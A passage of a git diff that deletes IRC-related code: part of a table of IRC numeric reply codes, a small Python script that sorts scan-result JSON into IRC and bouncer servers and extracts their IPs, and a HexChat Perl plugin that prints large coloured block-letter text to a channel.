-RPL_UNAWAY           = '305'
-RPL_NOWAWAY          = '306'
-RPL_WHOISUSER        = '311'
-RPL_WHOISSERVER      = '312'
-RPL_WHOISOPERATOR    = '313'
-RPL_WHOWASUSER       = '314'
-RPL_ENDOFWHO         = '315'
-RPL_WHOISIDLE        = '317'
-RPL_ENDOFWHOIS       = '318'
-RPL_WHOISCHANNELS    = '319'
-RPL_LIST             = '322'
-RPL_LISTEND          = '323'
-RPL_CHANNELMODEIS    = '324'
-RPL_NOTOPIC          = '331'
-RPL_TOPIC            = '332'
-RPL_INVITING         = '341'
-RPL_INVITELIST       = '346'
-RPL_ENDOFINVITELIST  = '347'
-RPL_EXCEPTLIST       = '348'
-RPL_ENDOFEXCEPTLIST  = '349'
-RPL_VERSION          = '351'
-RPL_WHOREPLY         = '352'
-RPL_NAMREPLY         = '353'
-RPL_LINKS            = '364'
-RPL_ENDOFLINKS       = '365'
-RPL_ENDOFNAMES       = '366'
-RPL_BANLIST          = '367'
-RPL_ENDOFBANLIST     = '368'
-RPL_ENDOFWHOWAS      = '369'
-RPL_INFO             = '371'
-RPL_MOTD             = '372'
-RPL_ENDOFINFO        = '374'
-RPL_MOTDSTART        = '375'
-RPL_ENDOFMOTD        = '376'
-RPL_YOUREOPER        = '381'
-RPL_REHASHING        = '382'
-RPL_YOURESERVICE     = '383'
-RPL_TIME             = '391'
-RPL_USERSSTART       = '392'
-RPL_USERS            = '393'
-RPL_ENDOFUSERS       = '394'
-RPL_NOUSERS          = '395'
-ERR_NOSUCHNICK       = '401'
-ERR_NOSUCHSERVER     = '402'
-ERR_NOSUCHCHANNEL    = '403'
-ERR_CANNOTSENDTOCHAN = '404'
-ERR_TOOMANYCHANNELS  = '405'
-ERR_WASNOSUCHNICK    = '406'
-ERR_TOOMANYTARGETS   = '407'
-ERR_NOSUCHSERVICE    = '408'
-ERR_NOORIGIN         = '409'
-ERR_NORECIPIENT      = '411'
-ERR_NOTEXTTOSEND     = '412'
-ERR_NOTOPLEVEL       = '413'
-ERR_WILDTOPLEVEL     = '414'
-ERR_BADMASK          = '415'
-ERR_UNKNOWNCOMMAND   = '421'
-ERR_NOMOTD           = '422'
-ERR_NOADMININFO      = '423'
-ERR_FILEERROR        = '424'
-ERR_NONICKNAMEGIVEN  = '431'
-ERR_ERRONEUSNICKNAME = '432'
-ERR_NICKNAMEINUSE    = '433'
-ERR_NICKCOLLISION    = '436'
-ERR_USERNOTINCHANNEL = '441'
-ERR_NOTONCHANNEL     = '442'
-ERR_USERONCHANNEL    = '443'
-ERR_NOLOGIN          = '444'
-ERR_SUMMONDISABLED   = '445'
-ERR_USERSDISABLED    = '446'
-ERR_NOTREGISTERED    = '451'
-ERR_NEEDMOREPARAMS   = '461'
-ERR_ALREADYREGISTRED = '462'
-ERR_NOPERMFORHOST    = '463'
-ERR_PASSWDMISMATCH   = '464'
-ERR_YOUREBANNEDCREEP = '465'
-ERR_KEYSET           = '467'
-ERR_CHANNELISFULL    = '471'
-ERR_UNKNOWNMODE      = '472'
-ERR_INVITEONLYCHAN   = '473'
-ERR_BANNEDFROMCHAN   = '474'
-ERR_BADCHANNELKEY    = '475'
-ERR_BADCHANMASK      = '476'
-ERR_BANLISTFULL      = '478'
-ERR_NOPRIVILEGES     = '481'
-ERR_CHANOPRIVSNEEDED = '482'
-ERR_CANTKILLSERVER   = '483'
-ERR_UNIQOPRIVSNEEDED = '485'
-ERR_NOOPERHOST       = '491'
-ERR_UMODEUNKNOWNFLAG = '501'
-ERR_USERSDONTMATCH   = '502'
-RPL_STARTTLS         = '670'
-ERR_STARTTLS         = '691'
-RPL_MONONLINE        = '730'
-RPL_MONOFFLINE       = '731'
-RPL_MONLIST          = '732'
-RPL_ENDOFMONLIST     = '733'
-ERR_MONLISTFULL      = '734'
-RPL_LOGGEDIN         = '900'
-RPL_LOGGEDOUT        = '901'
-ERR_NICKLOCKED       = '902'
-RPL_SASLSUCCESS      = '903'
-ERR_SASLFAIL         = '904'
-ERR_SASLTOOLONG      = '905'
-ERR_SASLABORTED      = '906'
-ERR_SASLALREADY      = '907'
-RPL_SASLMECHS        = '908'
diff --git a/irc/efkh.py b/irc/efkh.py
@@ -1,68 +0,0 @@
-#!/usr/bin/env python
-# EFKnockr Helper - Developed by acidvegas in Python (https://acid.vegas/random)
-
-import json
-
-_bnc     = list()
-_irc     = list()
-_unknown = list()
-
-def _parse_data():
-	with open('netking.json','r') as _data_file:
-		for _line in _data_file:
-			_data = json.loads(_line)
-			if 'product' in _data:
-				if _data['product'] in ('BitlBee IRCd','psyBNC','Minbif','ShroudBNC irc-proxy'):
-					_bnc.append(_line)
-				else:
-					_irc.append(_line)
-			else:
-				if 'data' in _data:
-					if 'bitlbee' in _data['data'].lower() or 'psybnc' in _data['data'].lower() or 'shroudbnc' in _data['data'].lower():
-						_bnc.append(_line)
-					else:
-						if ':***' in _data['data'] or 'Looking up your hostname' in _data['data']:
-							_irc.append(_line)
-						else:
-							if 'PHP Notice' not in _data['data']:
-								if 'NOTICE' in _data['data']:
-									_irc.append(_line)
-								else:
-									_unknown.append(_line)
-				else:
-					_unknown.append(_line)
-
-def _write_data():
-	with open('bnc.json','w') as _bnc_file:
-		for _line in _bnc:
-			_bnc_file.write(_line)
-	with open('irc.json','w') as _irc_file:
-		for _line in _irc:
-			_irc_file.write(_line)
-	with open('unknown.json','w') as _unknown_file:
-		for _line in _unknown:
-			_unknown_file.write(_line)
-
-_parse_data()
-_write_data()
-
-print('BNC: ' + str(len(_bnc    )))
-print('IRC: ' + str(len(_irc    )))
-print('???: ' + str(len(_unknown)))
-
-_ips = list()
-
-def _parse_ips():
-    with open('irc.json','r') as _data_file:
-        for _line in _data_file:
-            _data = json.loads(_line)
-            _ips.append(_data['ip_str'])
-
-def _write_ips():
-    with open('clean.txt','w') as _clean_file:
-        for _line in _ips:
-            _clean_file.write(_line + '\n')
-
-_parse_ips()
-_ips = sorted(set(_ips))
-_write_ips()
diff --git a/irc/hueg-hexchat.pl b/irc/hueg-hexchat.pl
@@ -1,1258 +0,0 @@
-######
-# hueg.pl PRO MODE
-# modded by ma0 and others
-# respekts 2 jakk and others
-# 2020 upd: ported for HexChat by anon
-######
-
-use Xchat qw(:all);
-
-$VERSION = ord 'LOL';
-
-register('hueg', $VERSION, 'make text hueg LOL');
-
-hook_command( "hueg", \&hueg );
-
-my $maxchars = 10; #num of chars b4 split
-my $reverse = 0;
-my $flip = 0;
-my $mirror = 0;
-my $scale = 1;
-my $k = chr 3;
-my $OO = pack('H*', '0f');
-
-sub hueg {
-  my $target =  context_info()->{channel};
-	my $data = $_[1][1];
-
-  $in = $data;
-  my $rep;
-
-  if ($in =~ /-rep (\d+)/i) {
-    $rep = $1;
-    $in =~ s/-rep \d+//i;
-  } else {
-    $rep = 1;
-  }
-  if($in =~ /-scale (\d+)/i) {
-    $scale = $1;
-    $in =~ s/-scale \d+//i;
-  } else {
-    $scale = 1;
-  }
-  if($in =~ /-re/i) {
-    $reverse = 1;
-    $in =~ s/-re//i;
-  } else {
-  $reverse = 0;
-  }
-  if($in =~ /-flip/i){
-    $flip = 1;
-    $in =~ s/-flip//i;
-  } else { 
-    $flip = 0;
-  }
-  if($in =~ /-mir/i) {
-    $mirror = 1;
-    $in =~ s/-mir//i; 
-  } else {
-    $mirror = 0;
-  }
-
-  $in =~ s/\s+$//;
-  if ($in eq '') {
-		Xchat::print "/hueg <string> [options]";
-		Xchat::print "      -rep <num>     num of times to scroll msg";
-		Xchat::print "      -re            reverses text";
-		Xchat::print "      -flip          flips text";
-		Xchat::print "      -mir           mirrors your text [NOT WORKIN LOL]";
-		Xchat::print "      -scale <num>   scales shit";      
-		Xchat::print "      num,num,num    fg, shadow, bg colors (bg optional)";
-  } else {
-
-    until ($rep==0) {
-
-		# colors();
-		if ($data =~ /(\d+),(\d+),(\d+)/) {
-			$c2 = "$k$1,$1";   #fg
-			$c1 = "$k$2,$2";   #sh
-			$c3 = "$k$3,$3";   #bg
-			$in =~ s/\d+,\d+,\d+//;
-		} elsif ($data =~ /(\d+),(\d+)/) {
-			$c2 = "$k$1,$1";   #fg
-			$c1 = "$k$2,$2";   #sh
-			$c3 = "$OO";        #bg (trans)
-			$in =~ s/\d+,\d+//;
-		} else {
-			$r1 = $r2 = 0;
-			until ($r1 > 1) { $r1 = int rand(15); }
-			until ($r2 > 1 && $r2 != $r1) { $r2 = int rand(15); }
-			$c2 = "$k$r1,$r1"; #fg (rand)
-			$c1 = "$k$r2,$r2"; #sh (rand)
-			$c3 = "$OO";        #bg (trans)
-		}
-		## // colors();
-
-		my %db = db1();
-  
-		## parse();
-		$in =~ s/(\S{$maxchars})/$1 /g;
-		undef @s0;
-		@s0 = split(' ',$in);
-		undef @s1;
-		$s1n = 0;
-		for $n (@s0) {
-			$nlen = length($n);
-			$slen = length($s1[$s1n]) + $nlen;
-			if ($slen <= $maxchars) {
-			  $s1[$s1n] .= "$n ";
-			} else {
-			  $s1n++;
-			  $s1[$s1n] .= "$n ";
-			}
-		}
-		### // parse()
-		
-		## process();
-		for $n (@s1) { #each line
-			if($reverse) {
-				$n = reverse $n;
-			}
-			$n =~ s/\s$//;
-			$n =~ s/^\s//;
-			undef @s2;
-			@s2 = split(undef,$n);
-			my $cur; # current string
-			my $tmp;
-			for $f (0..8*$scale) {
-				for $l (@s2) { #each letter
-					$all .= "$c3 $OO";
-					if($flip) { $cur = "$db{$l}[(9-$f)/$scale]"; } #line of letter
-					else { $cur = "$db{$l}[$f/$scale]"; }
-					$whitespace = " " x $scale;
-					$cur =~ s/ /$whitespace/g;
-					$all .= $cur;
-				}
-				$all .= "${c3} ";
-			
-				# Xchat::print $all;
-			
-				if($mirror) { $all = reverse $all; }
-				delaycommand('say '.$all);
-				$all = '';
-			}
-		}
-		### // process() 
-
-		select(undef,undef,undef,.1); # probably not necessary unless we care if the loop goes forever 
-		$rep--;
-    }
-  }
-  
-  return EAT_HEXCHAT;
-
-}
-
-
-
-# this just makes it so it looks right on your side
-sub delaycommand {
-	my $command = $_[0];
-	hook_timer( 0,
-		sub {
-			command($command);
-			return REMOVE;
-		}
-	); 
-	return EAT_NONE;
-}
-
-
-
-#------------------#
-#   character db   #
-#       lol        #
-#------------------#
-
-sub db1 {
-return (
-" " => [
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-],
-"\cC" => [
-"$c3             ",
-"$c1 $c2  $c3  $c1 $c2       $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3     ",
-"$c1 $c2  $c3  $c1 $c2  $c3     ",
-"$c1 $c2            $c3",
-"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
-"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2       $c3  $c1 $c2  $c3",
-"$c3             ",
-],
-"\cB" => [
-"$c3             ",
-"$c1 $c2  $c3  $c1 $c2       $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3     ",
-"$c1 $c2  $c3  $c1 $c2  $c3     ",
-"$c1 $c2            $c3",
-"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
-"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2       $c3  $c1 $c2  $c3",
-"$c3             ",
-],
-"\cO" => [
-"$c3             ",
-"$c1 $c2  $c3  $c1 $c2       $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3     ",
-"$c1 $c2  $c3  $c1 $c2  $c3     ",
-"$c1 $c2            $c3",
-"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
-"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2       $c3  $c1 $c2  $c3",
-"$c3             ",
-],
-"0" => [
-"$c3         ",
-"$c3 $c1 $c2      $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3 $c1 $c2      $c3 ",
-"$c3         ",
-],
-"1" => [
-"$c3       ",
-"$c3  $c1 $c2  $c3  ",
-"$c3 $c1 $c2   $c3  ",
-"$c1 $c2    $c3  ",
-"$c3  $c1 $c2  $c3  ",
-"$c3  $c1 $c2  $c3  ",
-"$c3  $c1 $c2  $c3  ",
-"$c1 $c2      $c3",
-"$c3       ",
-],
-"2" => [
-"$c3        ",
-"$c3 $c1 $c2     $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3    $c1 $c2  $c3 ",
-"$c3   $c1 $c2  $c3  ",
-"$c3  $c1 $c2  $c3   ",
-"$c3 $c1 $c2  $c3    ",
-"$c1 $c2       $c3",
-"$c3        ",
-],
-"3" => [
-"$c3        ",
-"$c3 $c1 $c2     $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3     $c1 $c2  $c3",
-"$c3   $c1 $c2   $c3 ",
-"$c3     $c1 $c2  $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3 $c1 $c2     $c3 ",
-"$c3        ",
-],
-"4" => [
-"$c3        ",
-"$c3    $c1 $c2  $c3 ",
-"$c3   $c1 $c2   $c3 ",
-"$c3  $c1 $c2 $c1 $c2  $c3 ",
-"$c3 $c1 $c2 $c3 $c1 $c2  $c3 ",
-"$c1 $c2       $c3",
-"$c3    $c1 $c2  $c3 ",
-"$c3    $c1 $c2  $c3 ",
-"$c3        ",
-],
-"5" => [
-"$c3        ",
-"$c1 $c2      $c3 ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2      $c3 ",
-"$c3     $c1 $c2  $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3 $c1 $c2     $c3 ",
-"$c3        ",
-],
-"6" => [
-"$c3        ",
-"$c3   $c1 $c2  $c3  ",
-"$c3  $c1 $c2  $c3   ",
-"$c3 $c1 $c2  $c3    ",
-"$c1 $c2      $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3 $c1 $c2     $c3 ",
-"$c3        ",
-],
-"7" => [
-"$c3         ",
-"$c1 $c2        $c3",
-"$c3      $c1 $c2  $c3",
-"$c3     $c1 $c2  $c3 ",
-"$c3    $c1 $c2  $c3  ",
-"$c3   $c1 $c2  $c3   ",
-"$c3  $c1 $c2  $c3    ",
-"$c3 $c1 $c2  $c3     ",
-"$c3         ",
-],
-"8" => [
-"$c3         ",
-"$c3 $c1 $c2      $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3 $c1 $c2      $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3 $c1 $c2      $c3 ",
-"$c3         ",
-],
-"9" => [
-"$c3        ",
-"$c3 $c1 $c2     $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3 $c1 $c2      $c3",
-"$c3    $c1 $c2  $c3 ",
-"$c3   $c1 $c2  $c3  ",
-"$c3  $c1 $c2  $c3   ",
-"$c3        ",
-],
-"A" => [
-"$c3        ",
-"$c3  $c1 $c2   $c3  ",
-"$c3 $c1 $c2  $c1 $c2  $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2       $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3        ",
-],
-"a" => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1 $c2     $c3  ",
-"$c3     $c1 $c2  $c3 ",
-"$c3 $c1 $c2      $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3 ",
-"$c3 $c1 $c2       $c3",
-"$c3         ",
-],
-"B" => [
-"$c3         ",
-"$c1 $c2       $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2       $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2       $c3 ",
-"$c3         ",
-],
-"b" => [
-"$c3         ",
-"$c1 $c2  $c3      ",
-"$c1 $c2  $c3      ",
-"$c1 $c2      $c3  ",
-"$c1 $c2  $c3  $c1 $c2  $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3 ",
-"$c1 $c2      $c3  ",
-"$c3         ",
-],
-"C" => [
-"$c3         ",
-"$c3 $c1 $c2      $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3      ",
-"$c1 $c2  $c3      ",
-"$c1 $c2  $c3      ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3 $c1 $c2      $c3 ",
-"$c3         ",
-],
-"c" => [
-"$c3        ",
-"$c3        ",
-"$c3        ",
-"$c3  $c1 $c2     $c3",
-"$c3 $c1 $c2  $c3    ",
-"$c1 $c2  $c3     ",
-"$c3 $c1 $c2  $c3    ",
-"$c3  $c1 $c2     $c3",
-"$c3        ",
-],
-"D" => [
-"$c3          ",
-"$c1 $c2       $c3  ",
-"$c1 $c2  $c3   $c1 $c2  $c3 ",
-"$c1 $c2  $c3    $c1 $c2  $c3",
-"$c1 $c2  $c3    $c1 $c2  $c3",
-"$c1 $c2  $c3    $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3 ",
-"$c1 $c2       $c3  ",
-"$c3          ",
-],
-"d" => [
-"$c3         ",
-"$c3      $c1 $c2  $c3",
-"$c3      $c1 $c2  $c3",
-"$c3  $c1 $c2      $c3",
-"$c3 $c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3  $c1 $c2  $c3",
-"$c3  $c1 $c2      $c3",
-"$c3         ",
-],
-"E" => [
-"$c3        ",
-"$c1 $c2       $c3",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2      $c3 ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2       $c3",
-"$c3        ",
-],
-"e" => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1 $c2      $c3 ",
-"$c1 $c2  $c3   $c1 $c2  ",
-"$c1 $c2       $c3 ",
-"$c1 $c2  $c3      ",
-"$c3 $c1 $c2      $c3 ",
-"$c3         ",
-],
-"F" => [
-"$c3        ",
-"$c1 $c2       ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2      $c3 ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c3        ",
-],
-"f" => [
-"$c3      ",
-"$c3      ",
-"$c3  $c1 $c2   ",
-"$c3 $c1 $c2  $c3  ",
-"$c1 $c2     ",
-"$c3 $c1 $c2  $c3  ",
-"$c3 $c1 $c2  $c3  ",
-"$c3 $c1 $c2  $c3  ",
-"$c3      ",
-],
-"G" => [
-"$c3          ",
-"$c3  $c1 $c2      $c3 ",
-"$c3 $c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3       ",
-"$c1 $c2  $c3  $c1 $c2    $c3",
-"$c1 $c2  $c3    $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3   $c1 $c2  $c3",
-"$c3  $c1 $c2      $c3 ",
-"$c3          ",
-],
-"g" => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1 $c2      $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3 $c1 $c2       $c3",
-"$c3      $c1 $c2  $c3",
-"$c3 $c1 $c2      $c3 ",
-],
-"H" => [
-"$c3         ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2        $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3         ",
-],
-"h" => [
-"$c3         ",
-"$c1 $c2  $c3      ",
-"$c1 $c2  $c3      ",
-"$c1 $c2       $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3         ",
-],
-"I" => [
-"$c3       ",
-"$c1 $c2      $c3",
-"$c3  $c1 $c2  $c3  ",
-"$c3  $c1 $c2  $c3  ",
-"$c3  $c1 $c2  $c3  ",
-"$c3  $c1 $c2  $c3  ",
-"$c3  $c1 $c2  $c3  ",
-"$c1 $c2      $c3",
-"$c3       ",
-],
-"i" => [
-"$c3     ",
-"$c3 $c1 $c2  $c3 ",
-"$c3     ",
-"$c1 $c2   $c3 ",
-"$c3 $c1 $c2  $c3 ",
-"$c3 $c1 $c2  $c3 ",
-"$c3 $c1 $c2  $c3 ",
-"$c1 $c2    ",
-"$c3     ",
-],
-"J" => [
-"$c3        ",
-"$c3 $c1 $c2      ",
-"$c3    $c1 $c2  $c3 ",
-"$c3    $c1 $c2  $c3 ",
-"$c3    $c1 $c2  $c3 ",
-"$c3    $c1 $c2  $c3 ",
-"$c1 $c2  $c3 $c1 $c2  $c3 ",
-"$c3 $c1 $c2    $c3  ",
-"$c3        ",
-],
-"j" => [
-"$c3       ",
-"$c3    $c1 $c2  ",
-"$c3       ",
-"$c3   $c1 $c2   ",
-"$c3    $c1 $c2  ",
-"$c3    $c1 $c2  ",
-"$c3    $c1 $c2  ",
-"$c1 $c2  $c3 $c1 $c2  ",
-"$c3 $c1 $c2    $c3 ",
-],
-"K" => [
-"$c3        ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2  $c3 $c1 $c2  $c3 ",
-"$c1 $c2  $c1 $c2  $c3  ",
-"$c1 $c2    $c3   ",
-"$c1 $c2  $c1 $c2  $c3  ",
-"$c1 $c2  $c3 $c1 $c2  $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3        ",
-],
-"k" => [
-"$c3        ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3  $c1 $c2  ",
-"$c1 $c2  $c3 $c1 $c2  $c3 ",
-"$c1 $c2     $c3  ",
-"$c1 $c2  $c3 $c1 $c2  $c3 ",
-"$c1 $c2  $c3  $c1 $c2  ",
-"$c3        ",
-],
-"L" => [
-"$c3        ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2       $c3",
-"$c3        ",
-],
-"l" => [
-"$c3     ",
-"$c1 $c2   $c3 ",
-"$c3 $c1 $c2  $c3 ",
-"$c3 $c1 $c2  $c3 ",
-"$c3 $c1 $c2  $c3 ",
-"$c3 $c1 $c2  $c3 ",
-"$c3 $c1 $c2  $c3 ",
-"$c1 $c2    ",
-"$c3     ",
-],
-"M" => [
-"$c3            ",
-"$c1 $c2  $c3      $c1 $c2  $c3",
-"$c1 $c2   $c3    $c1 $c2   $c3",
-"$c1 $c2    $c3  $c1 $c2    $c3",
-"$c1 $c2  $c1 $c2  $c1 $c2  $c1 $c2  $c3",
-"$c1 $c2  $c3 $c1 $c2   $c3 $c1 $c2  $c3",
-"$c1 $c2  $c3  $c1 $c2 $c3  $c1 $c2  $c3",
-"$c1 $c2  $c3      $c1 $c2  $c3",
-"$c3            ",
-],
-"m" => [
-"$c3          ",
-"$c3          ",
-"$c3          ",
-"$c3 $c1 $c2  $c3  $c1 $c2  $c3 ",
-"$c1 $c2    $c1 $c2    $c3",
-"$c1 $c2  $c1 $c2   $c1 $c2  $c3",
-"$c1 $c2  $c3 $c1 $c2 $c3 $c1 $c2  $c3",
-"$c1 $c2  $c3    $c1 $c2  $c3",
-"$c3          ",
-],
-"N" => [
-"$c3           ",
-"$c1 $c2   $c3    $c1 $c2  ",
-"$c1 $c2    $c3   $c1 $c2  ",
-"$c1 $c2  $c1 $c2  $c3  $c1 $c2  ",
-"$c1 $c2  $c3 $c1 $c2  $c3 $c1 $c2  ",
-"$c1 $c2  $c3  $c1 $c2  $c1 $c2  ",
-"$c1 $c2  $c3   $c1 $c2    ",
-"$c1 $c2  $c3    $c1 $c2   ",
-"$c3           ",
-],
-"n" => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1 $c2      $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3         ",
-],
-"O" => [
-"$c3           ",
-"$c3  $c1 $c2      $c3  ",
-"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
-"$c1 $c2  $c3     $c1 $c2  $c3",
-"$c1 $c2  $c3     $c1 $c2  $c3",
-"$c1 $c2  $c3     $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
-"$c3  $c1 $c2      $c3  ",
-"$c3           ",
-],
-"o" => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1 $c2      $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3 $c1 $c2      $c3 ",
-"$c3         ",
-],
-"P" => [
-"$c3         ",
-"$c1 $c2       $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2       $c3 ",
-"$c1 $c2  $c3      ",
-"$c1 $c2  $c3      ",
-"$c1 $c2  $c3      ",
-"$c3         ",
-],
-"p" => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1 $c2      $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2       $c3 ",
-"$c1 $c2  $c3      ",
-"$c1 $c2  $c3      ",
-],
-"Q" => [
-"$c3           ",
-"$c3  $c1 $c2      $c3  ",
-"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
-"$c1 $c2  $c3     $c1 $c2  $c3",
-"$c1 $c2  $c3     $c1 $c2  $c3",
-"$c1 $c2  $c3  $c1 $c2  $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3  $c1 $c2   $c3 ",
-"$c3  $c1 $c2      $c3  ",
-"$c3       $c1 $c2  $c3 ",
-],
-"q" => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1 $c2      $c3 ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3 $c1 $c2       $c3",
-"$c3      $c1 $c2  $c3",
-"$c3      $c1 $c2  $c3",
-],
-"R" => [
-"$c3           ",
-"$c1 $c2       $c3   ",
-"$c1 $c2  $c3   $c1 $c2  $c3  ",
-"$c1 $c2  $c3   $c1 $c2  $c3  ",
-"$c1 $c2       $c3   ",
-"$c1 $c2  $c3   $c1 $c2  $c3  ",
-"$c1 $c2  $c3    $c1 $c2  $c3 ",
-"$c1 $c2  $c3     $c1 $c2  ",
-"$c3           ",
-],
-"r" => [
-"$c3        ",
-"$c3        ",
-"$c3        ",
-"$c3 $c1 $c2     $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c1 $c2  $c3     ",
-"$c3        ",
-],
-"S" => [
-"$c3        ",
-"$c3 $c1 $c2     $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2  $c3     ",
-"$c3 $c1 $c2     $c3 ",
-"$c3     $c1 $c2  $c3",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3 $c1 $c2     $c3 ",
-"$c3        ",
-],
-"s" => [
-"$c3       ",
-"$c3       ",
-"$c3       ",
-"$c3 $c1 $c2     $c3",
-"$c1 $c2  $c3    ",
-"$c3 $c1 $c2    $c3 ",
-"$c3    $c1 $c2  $c3",
-"$c1 $c2     $c3 ",
-"$c3       ",
-],
-"T" => [
-"$c3         ",
-"$c1 $c2        $c3",
-"$c3   $c1 $c2  $c3   ",
-"$c3   $c1 $c2  $c3   ",
-"$c3   $c1 $c2  $c3   ",
-"$c3   $c1 $c2  $c3   ",
-"$c3   $c1 $c2  $c3   ",
-"$c3   $c1 $c2  $c3   ",
-"$c3         ",
-],
-"t" => [
-"$c3       ",
-"$c3       ",
-"$c3 $c1 $c2  $c3   ",
-"$c1 $c2     $c3 ",
-"$c3 $c1 $c2  $c3   ",
-"$c3 $c1 $c2  $c3   ",
-"$c3 $c1 $c2  $c1 $c2  ",
-"$c3  $c1 $c2   $c3 ",
-"$c3       ",
-],
-"U" => [
-"$c3           ",
-"$c1 $c2  $c3     $c1 $c2  $c3",
-"$c1 $c2  $c3     $c1 $c2  $c3",
-"$c1 $c2  $c3     $c1 $c2  $c3",
-"$c1 $c2  $c3     $c1 $c2  $c3",
